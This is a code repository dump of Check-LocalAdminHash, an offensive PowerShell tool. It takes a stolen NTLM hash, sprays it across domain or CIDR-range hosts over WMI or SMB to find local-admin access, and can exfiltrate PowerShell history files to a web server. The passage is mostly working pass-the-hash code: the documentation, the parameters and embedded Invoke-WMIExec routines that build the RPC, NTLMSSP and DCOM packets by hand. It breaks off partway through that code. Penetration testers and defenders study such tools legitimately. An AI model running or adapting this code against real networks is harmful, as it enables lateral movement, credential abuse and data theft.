Repository: dafthack/Check-LocalAdminHash Branch: master Commit: 74f23ab926ca Files: 4 Total size: 367.7 KB Directory structure: gitextract_tezkx18v/ ├── Check-LocalAdminHash.ps1 ├── LICENSE ├── README.md └── index.php ================================================ FILE CONTENTS ================================================ ================================================ FILE: Check-LocalAdminHash.ps1 ================================================  Function Check-LocalAdminHash{ <# Check-LocalAdminHash Author: Beau Bullock (@dafthack) License: BSD 3-Clause Required Dependencies: None .SYNOPSIS Check-LocalAdminHash attempts to authenticate to multiple hosts over either WMI or SMB using a password hash to determine if the provided credential is a local administrator. It's useful if you obtain a password hash for a user and want to see where they are local admin on a network. It is essentially a Frankenstein of two of my favorite tools along with some of my own code. It utilizes Kevin Robertson's (@kevin_robertson) Invoke-TheHash project for the credential checking portion. Additionally, the script utilizes modules from PowerView by Will Schroeder (@harmj0y) and Matt Graeber (@mattifestation) to enumerate domain computers to find targets for testing admin access against. .DESCRIPTION Check-LocalAdminHash attempts to authenticate to multiple hosts over either WMI or SMB using a password hash to determine if the provided credential is a local administrator. It's useful if you obtain a password hash for a user and want to see where they are local admin on a network. It is essentially a Frankenstein of two of my favorite tools along with some of my own code. It utilizes Kevin Robertson's (@kevin_robertson) Invoke-TheHash project for the credential checking portion. Additionally, the script utilizes modules from PowerView by Will Schroeder (@harmj0y) and Matt Graeber (@mattifestation) to enumerate domain computers to find targets for testing admin access against. .PARAMETER Username The Username for attempting authentication. .PARAMETER PasswordHash Password hash of the user. .PARAMETER TargetSystem Single hostname or IP for authentication attempt. .PARAMETER TargetList A list of hosts to scan one per line .PARAMETER AllSystems A switch that when enabled utilizes PowerView modules to enumerate all domain systems. This list is then used to check local admin access. .PARAMETER Domain This is the domain that PowerView will utilize for discovering systems. .PARAMETER UserDomain This is the user's domain to authenticate to each system with. Don't use this flag if using a local cred instead of domain cred. .PARAMETER Protocol This is the setting for whether to check the hash using WMI or SMB. Default is 'WMI' but set it to 'SMB' to check that instead. .PARAMETER CIDR Specify a CIDR form network range such as 192.168.0.0/24 .PARAMETER Threads Defaults to 5 threads. (I've run into some odd issues setting threads more than 15 with some results not coming back.) .PARAMETER ExfilPSReadline For each system where auth is successful it runs a PowerShell command to locate PSReadLine console history files (PowerShell command history) and then POSTS them to a web server. See the Readme for server setup. .EXAMPLE C:\PS> Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems Description ----------- This command will use the domain 'testdomain.local' to lookup all systems and then attempt to authenticate to each one using the user 'testdomain.local\PossibleAdminUser' and a password hash over WMI. .EXAMPLE C:\PS> Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24 Description ----------- This command will use the provided CIDR range to generate a target list and then attempt to authenticate to each one using the local user 'PossibleAdminUser' and a password hash over WMI. .EXAMPLE C:\PS> Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB Description ----------- This command will use the provided targetlist and attempt to authenticate to each host using the local user 'PossibleAdminUser' and a password hash over SMB. .EXAMPLE C:\PS> Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrato -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB Description ----------- This command attempts to perform a local authentication for the user Administrator against the system 192.168.0.16 over SMB. .EXAMPLE C:\PS> Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline Description ----------- This command will use the domain 'testdomain.local' to lookup all systems and then attempt to authenticate to each one using the user 'testdomain.local\PossibleAdminUser' and a password hash over WMI. It then attempts to locate PowerShell console history files (PSReadline) and POST them to a web server. See Readme for server setup. #> Param ( [Parameter(Position = 0, Mandatory = $true)] [string] $Username = "", [Parameter(Position = 1, Mandatory = $true)] [string] $PasswordHash = "", [Parameter(Position = 2, Mandatory = $false)] [string] $TargetSystem = "", [Parameter(Position = 3, Mandatory = $false)] [string] $TargetList = "", [Parameter(Position = 4, Mandatory = $false)] [switch] $AllSystems, [Parameter(Position = 5, Mandatory = $false)] [string] $Domain = "", [Parameter(Position = 6, Mandatory = $false)] [string] $UserDomain = "", [Parameter(Position = 7, Mandatory = $false)] [string] $Protocol = "WMI", [Parameter(Position = 8, Mandatory = $false)] [string] $CIDR = "", [Parameter(Position = 9, Mandatory = $false)] [Int] $Threads = 5, [Parameter(Position = 10, Mandatory = $false)] [Switch] $ExfilPSReadline ) $LocalAdminCheckBlock = { param($Hostlist, $Username, $PasswordHash, $UserDomain, $Protocol, $ExfilPSReadLine) ##### Had to include Invoke-TheHash within this code block ##### The rest of the Check-LocalAdminHash module is down near line 4616. ##############Copied Code From Invoke-WMIExec included from Kevin Robertson's Invoke-TheHash Starts Here######### ################################### Thanks Kevin!!!! ############################################################ ###################https://github.com/Kevin-Robertson/Invoke-TheHash############################################# ######Invoke-TheHash BSD 3-Clause #BSD 3-Clause License # #Copyright (c) 2017, Kevin Robertson #All rights reserved. # #Redistribution and use in source and binary forms, with or without #modification, are permitted provided that the following conditions are met: # #* Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # #* Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # #* Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # #THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" #AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE #IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE #DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE #FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL #DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR #SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER #CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, #OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE #OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. function Invoke-WMIExec { <# .SYNOPSIS Invoke-WMIExec performs WMI command execution on targets using NTLMv2 pass the hash authentication. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .PARAMETER Target Hostname or IP address of target. .PARAMETER Username Username to use for authentication. .PARAMETER Domain Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username. .PARAMETER Hash NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. .PARAMETER Command Command to execute on the target. If a command is not specified, the function will just check to see if the username and hash has access to WMI on the target. .PARAMETER Sleep Default = 10 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this setting if you are experiencing strange results. .EXAMPLE Execute a command. Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose .EXAMPLE Check command execution privilege. Invoke-WMIExec -Target 192.168.100.20 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 .LINK https://github.com/Kevin-Robertson/Invoke-TheHash #> [CmdletBinding()] param ( [parameter(Mandatory=$true)][String]$Target, [parameter(Mandatory=$true)][String]$Username, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$Command, [parameter(Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, [parameter(Mandatory=$false)][Int]$Sleep=10 ) if($Command) { $WMI_execute = $true } function ConvertFrom-PacketOrderedDictionary { param($packet_ordered_dictionary) ForEach($field in $packet_ordered_dictionary.Values) { $byte_array += $field } return $byte_array } #RPC function New-PacketRPCBind { param([Int]$packet_call_ID,[Byte[]]$packet_max_frag,[Byte[]]$packet_num_ctx_items,[Byte[]]$packet_context_ID,[Byte[]]$packet_UUID,[Byte[]]$packet_UUID_version) [Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID) $packet_RPCBind = New-Object System.Collections.Specialized.OrderedDictionary $packet_RPCBind.Add("Version",[Byte[]](0x05)) $packet_RPCBind.Add("VersionMinor",[Byte[]](0x00)) $packet_RPCBind.Add("PacketType",[Byte[]](0x0b)) $packet_RPCBind.Add("PacketFlags",[Byte[]](0x03)) $packet_RPCBind.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) $packet_RPCBind.Add("FragLength",[Byte[]](0x48,0x00)) $packet_RPCBind.Add("AuthLength",[Byte[]](0x00,0x00)) $packet_RPCBind.Add("CallID",$packet_call_ID_bytes) $packet_RPCBind.Add("MaxXmitFrag",[Byte[]](0xb8,0x10)) $packet_RPCBind.Add("MaxRecvFrag",[Byte[]](0xb8,0x10)) $packet_RPCBind.Add("AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) $packet_RPCBind.Add("NumCtxItems",$packet_num_ctx_items) $packet_RPCBind.Add("Unknown",[Byte[]](0x00,0x00,0x00)) $packet_RPCBind.Add("ContextID",$packet_context_ID) $packet_RPCBind.Add("NumTransItems",[Byte[]](0x01)) $packet_RPCBind.Add("Unknown2",[Byte[]](0x00)) $packet_RPCBind.Add("Interface",$packet_UUID) $packet_RPCBind.Add("InterfaceVer",$packet_UUID_version) $packet_RPCBind.Add("InterfaceVerMinor",[Byte[]](0x00,0x00)) $packet_RPCBind.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) $packet_RPCBind.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) if($packet_num_ctx_items[0] -eq 2) { $packet_RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) $packet_RPCBind.Add("NumTransItems2",[Byte[]](0x01)) $packet_RPCBind.Add("Unknown3",[Byte[]](0x00)) $packet_RPCBind.Add("Interface2",[Byte[]](0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a)) $packet_RPCBind.Add("InterfaceVer2",[Byte[]](0x00,0x00)) $packet_RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) $packet_RPCBind.Add("TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $packet_RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) } elseif($packet_num_ctx_items[0] -eq 3) { $packet_RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) $packet_RPCBind.Add("NumTransItems2",[Byte[]](0x01)) $packet_RPCBind.Add("Unknown3",[Byte[]](0x00)) $packet_RPCBind.Add("Interface2",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) $packet_RPCBind.Add("InterfaceVer2",[Byte[]](0x00,0x00)) $packet_RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) $packet_RPCBind.Add("TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) $packet_RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) $packet_RPCBind.Add("ContextID3",[Byte[]](0x02,0x00)) $packet_RPCBind.Add("NumTransItems3",[Byte[]](0x01)) $packet_RPCBind.Add("Unknown4",[Byte[]](0x00)) $packet_RPCBind.Add("Interface3",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) $packet_RPCBind.Add("InterfaceVer3",[Byte[]](0x00,0x00)) $packet_RPCBind.Add("InterfaceVerMinor3",[Byte[]](0x00,0x00)) $packet_RPCBind.Add("TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $packet_RPCBind.Add("TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) $packet_RPCBind.Add("AuthType",[Byte[]](0x0a)) $packet_RPCBind.Add("AuthLevel",[Byte[]](0x04)) $packet_RPCBind.Add("AuthPadLength",[Byte[]](0x00)) $packet_RPCBind.Add("AuthReserved",[Byte[]](0x00)) $packet_RPCBind.Add("ContextID4",[Byte[]](0x00,0x00,0x00,0x00)) $packet_RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) $packet_RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) $packet_RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) $packet_RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $packet_RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $packet_RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) } if($packet_call_ID -eq 3) { $packet_RPCBind.Add("AuthType",[Byte[]](0x0a)) $packet_RPCBind.Add("AuthLevel",[Byte[]](0x02)) $packet_RPCBind.Add("AuthPadLength",[Byte[]](0x00)) $packet_RPCBind.Add("AuthReserved",[Byte[]](0x00)) $packet_RPCBind.Add("ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) $packet_RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) $packet_RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) $packet_RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) $packet_RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $packet_RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $packet_RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) } return $packet_RPCBind } function New-PacketRPCAUTH3 { param([Byte[]]$packet_NTLMSSP) [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLMSSP.Length)[0,1] [Byte[]]$packet_RPC_length = [System.BitConverter]::GetBytes($packet_NTLMSSP.Length + 28)[0,1] $packet_RPCAuth3 = New-Object System.Collections.Specialized.OrderedDictionary $packet_RPCAuth3.Add("Version",[Byte[]](0x05)) $packet_RPCAuth3.Add("VersionMinor",[Byte[]](0x00)) $packet_RPCAuth3.Add("PacketType",[Byte[]](0x10)) $packet_RPCAuth3.Add("PacketFlags",[Byte[]](0x03)) $packet_RPCAuth3.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) $packet_RPCAuth3.Add("FragLength",$packet_RPC_length) $packet_RPCAuth3.Add("AuthLength",$packet_NTLMSSP_length) $packet_RPCAuth3.Add("CallID",[Byte[]](0x03,0x00,0x00,0x00)) $packet_RPCAuth3.Add("MaxXmitFrag",[Byte[]](0xd0,0x16)) $packet_RPCAuth3.Add("MaxRecvFrag",[Byte[]](0xd0,0x16)) $packet_RPCAuth3.Add("AuthType",[Byte[]](0x0a)) $packet_RPCAuth3.Add("AuthLevel",[Byte[]](0x02)) $packet_RPCAuth3.Add("AuthPadLength",[Byte[]](0x00)) $packet_RPCAuth3.Add("AuthReserved",[Byte[]](0x00)) $packet_RPCAuth3.Add("ContextID",[Byte[]](0x00,0x00,0x00,0x00)) $packet_RPCAuth3.Add("NTLMSSP",$packet_NTLMSSP) return $packet_RPCAuth3 } function New-PacketRPCRequest { param([Byte[]]$packet_flags,[Int]$packet_service_length,[Int]$packet_auth_length,[Int]$packet_auth_padding,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_opnum,[Byte[]]$packet_data) if($packet_auth_length -gt 0) { $packet_full_auth_length = $packet_auth_length + $packet_auth_padding + 8 } [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service_length + 24 + $packet_full_auth_length + $packet_data.Length) [Byte[]]$packet_frag_length = $packet_write_length[0,1] [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service_length + $packet_data.Length) [Byte[]]$packet_auth_length = [System.BitConverter]::GetBytes($packet_auth_length)[0,1] $packet_RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary $packet_RPCRequest.Add("Version",[Byte[]](0x05)) $packet_RPCRequest.Add("VersionMinor",[Byte[]](0x00)) $packet_RPCRequest.Add("PacketType",[Byte[]](0x00)) $packet_RPCRequest.Add("PacketFlags",$packet_flags) $packet_RPCRequest.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) $packet_RPCRequest.Add("FragLength",$packet_frag_length) $packet_RPCRequest.Add("AuthLength",$packet_auth_length) $packet_RPCRequest.Add("CallID",$packet_call_ID) $packet_RPCRequest.Add("AllocHint",$packet_alloc_hint) $packet_RPCRequest.Add("ContextID",$packet_context_ID) $packet_RPCRequest.Add("Opnum",$packet_opnum) if($packet_data.Length) { $packet_RPCRequest.Add("Data",$packet_data) } return $packet_RPCRequest } function New-PacketRPCAlterContext { param([Byte[]]$packet_assoc_group,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_interface_UUID) $packet_RPCAlterContext = New-Object System.Collections.Specialized.OrderedDictionary $packet_RPCAlterContext.Add("Version",[Byte[]](0x05)) $packet_RPCAlterContext.Add("VersionMinor",[Byte[]](0x00)) $packet_RPCAlterContext.Add("PacketType",[Byte[]](0x0e)) $packet_RPCAlterContext.Add("PacketFlags",[Byte[]](0x03)) $packet_RPCAlterContext.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) $packet_RPCAlterContext.Add("FragLength",[Byte[]](0x48,0x00)) $packet_RPCAlterContext.Add("AuthLength",[Byte[]](0x00,0x00)) $packet_RPCAlterContext.Add("CallID",$packet_call_ID) $packet_RPCAlterContext.Add("MaxXmitFrag",[Byte[]](0xd0,0x16)) $packet_RPCAlterContext.Add("MaxRecvFrag",[Byte[]](0xd0,0x16)) $packet_RPCAlterContext.Add("AssocGroup",$packet_assoc_group) $packet_RPCAlterContext.Add("NumCtxItems",[Byte[]](0x01)) $packet_RPCAlterContext.Add("Unknown",[Byte[]](0x00,0x00,0x00)) $packet_RPCAlterContext.Add("ContextID",$packet_context_ID) $packet_RPCAlterContext.Add("NumTransItems",[Byte[]](0x01)) $packet_RPCAlterContext.Add("Unknown2",[Byte[]](0x00)) $packet_RPCAlterContext.Add("Interface",$packet_interface_UUID) $packet_RPCAlterContext.Add("InterfaceVer",[Byte[]](0x00,0x00)) $packet_RPCAlterContext.Add("InterfaceVerMinor",[Byte[]](0x00,0x00)) $packet_RPCAlterContext.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) $packet_RPCAlterContext.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) return $packet_RPCAlterContext } function New-PacketNTLMSSPVerifier { param([Int]$packet_auth_padding,[Byte[]]$packet_auth_level,[Byte[]]$packet_sequence_number) $packet_NTLMSSPVerifier = New-Object System.Collections.Specialized.OrderedDictionary if($packet_auth_padding -eq 4) { $packet_NTLMSSPVerifier.Add("AuthPadding",[Byte[]](0x00,0x00,0x00,0x00)) [Byte[]]$packet_auth_pad_length = 0x04 } elseif($packet_auth_padding -eq 8) { $packet_NTLMSSPVerifier.Add("AuthPadding",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) [Byte[]]$packet_auth_pad_length = 0x08 } elseif($packet_auth_padding -eq 12) { $packet_NTLMSSPVerifier.Add("AuthPadding",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) [Byte[]]$packet_auth_pad_length = 0x0c } else { [Byte[]]$packet_auth_pad_length = 0x00 } $packet_NTLMSSPVerifier.Add("AuthType",[Byte[]](0x0a)) $packet_NTLMSSPVerifier.Add("AuthLevel",$packet_auth_level) $packet_NTLMSSPVerifier.Add("AuthPadLen",$packet_auth_pad_length) $packet_NTLMSSPVerifier.Add("AuthReserved",[Byte[]](0x00)) $packet_NTLMSSPVerifier.Add("AuthContextID",[Byte[]](0x00,0x00,0x00,0x00)) $packet_NTLMSSPVerifier.Add("NTLMSSPVerifierVersionNumber",[Byte[]](0x01,0x00,0x00,0x00)) $packet_NTLMSSPVerifier.Add("NTLMSSPVerifierChecksum",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $packet_NTLMSSPVerifier.Add("NTLMSSPVerifierSequenceNumber",$packet_sequence_number) return $packet_NTLMSSPVerifier } function New-PacketDCOMRemQueryInterface { param([Byte[]]$packet_causality_ID,[Byte[]]$packet_IPID,[Byte[]]$packet_IID) $packet_DCOMRemQueryInterface = New-Object System.Collections.Specialized.OrderedDictionary $packet_DCOMRemQueryInterface.Add("VersionMajor",[Byte[]](0x05,0x00)) $packet_DCOMRemQueryInterface.Add("VersionMinor",[Byte[]](0x07,0x00)) $packet_DCOMRemQueryInterface.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemQueryInterface.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemQueryInterface.Add("CausalityID",$packet_causality_ID) $packet_DCOMRemQueryInterface.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemQueryInterface.Add("IPID",$packet_IPID) $packet_DCOMRemQueryInterface.Add("Refs",[Byte[]](0x05,0x00,0x00,0x00)) $packet_DCOMRemQueryInterface.Add("IIDs",[Byte[]](0x01,0x00)) $packet_DCOMRemQueryInterface.Add("Unknown",[Byte[]](0x00,0x00,0x01,0x00,0x00,0x00)) $packet_DCOMRemQueryInterface.Add("IID",$packet_IID) return $packet_DCOMRemQueryInterface } function New-PacketDCOMRemRelease { param([Byte[]]$packet_causality_ID,[Byte[]]$packet_IPID,[Byte[]]$packet_IPID2) $packet_DCOMRemRelease = New-Object System.Collections.Specialized.OrderedDictionary $packet_DCOMRemRelease.Add("VersionMajor",[Byte[]](0x05,0x00)) $packet_DCOMRemRelease.Add("VersionMinor",[Byte[]](0x07,0x00)) $packet_DCOMRemRelease.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemRelease.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemRelease.Add("CausalityID",$packet_causality_ID) $packet_DCOMRemRelease.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemRelease.Add("Unknown",[Byte[]](0x02,0x00,0x00,0x00)) $packet_DCOMRemRelease.Add("InterfaceRefs",[Byte[]](0x02,0x00,0x00,0x00)) $packet_DCOMRemRelease.Add("IPID",$packet_IPID) $packet_DCOMRemRelease.Add("PublicRefs",[Byte[]](0x05,0x00,0x00,0x00)) $packet_DCOMRemRelease.Add("PrivateRefs",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemRelease.Add("IPID2",$packet_IPID2) $packet_DCOMRemRelease.Add("PublicRefs2",[Byte[]](0x05,0x00,0x00,0x00)) $packet_DCOMRemRelease.Add("PrivateRefs2",[Byte[]](0x00,0x00,0x00,0x00)) return $packet_DCOMRemRelease } function New-PacketDCOMRemoteCreateInstance { param([Byte[]]$packet_causality_ID,[String]$packet_target) [Byte[]]$packet_target_unicode = [System.Text.Encoding]::Unicode.GetBytes($packet_target) [Byte[]]$packet_target_length = [System.BitConverter]::GetBytes($packet_target.Length + 1) $packet_target_unicode += ,0x00 * (([Math]::Truncate($packet_target_unicode.Length / 8 + 1) * 8) - $packet_target_unicode.Length) [Byte[]]$packet_cntdata = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 720) [Byte[]]$packet_size = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 680) [Byte[]]$packet_total_size = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 664) [Byte[]]$packet_private_header = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 40) + 0x00,0x00,0x00,0x00 [Byte[]]$packet_property_data_size = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 56) $packet_DCOMRemoteCreateInstance = New-Object System.Collections.Specialized.OrderedDictionary $packet_DCOMRemoteCreateInstance.Add("DCOMVersionMajor",[Byte[]](0x05,0x00)) $packet_DCOMRemoteCreateInstance.Add("DCOMVersionMinor",[Byte[]](0x07,0x00)) $packet_DCOMRemoteCreateInstance.Add("DCOMFlags",[Byte[]](0x01,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("DCOMReserved",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("DCOMCausalityID",$packet_causality_ID) $packet_DCOMRemoteCreateInstance.Add("Unknown",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("Unknown2",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("Unknown3",[Byte[]](0x00,0x00,0x02,0x00)) $packet_DCOMRemoteCreateInstance.Add("Unknown4",$packet_cntdata) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCntData",$packet_cntdata) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesOBJREFSignature",[Byte[]](0x4d,0x45,0x4f,0x57)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesOBJREFFlags",[Byte[]](0x04,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesOBJREFIID",[Byte[]](0xa2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFCLSID",[Byte[]](0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFCBExtension",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFSize",$packet_size) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesTotalSize",$packet_total_size) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesReserved",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderPrivateHeader",[Byte[]](0xb0,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderTotalSize",$packet_total_size) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderCustomHeaderSize",[Byte[]](0xc0,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderReserved",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesDestinationContext",[Byte[]](0x02,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesNumActivationPropertyStructs",[Byte[]](0x06,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsInfoClsid",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrReferentID",[Byte[]](0x00,0x00,0x02,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrReferentID",[Byte[]](0x04,0x00,0x02,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesNULLPointer",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrMaxCount",[Byte[]](0x06,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid",[Byte[]](0xb9,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) 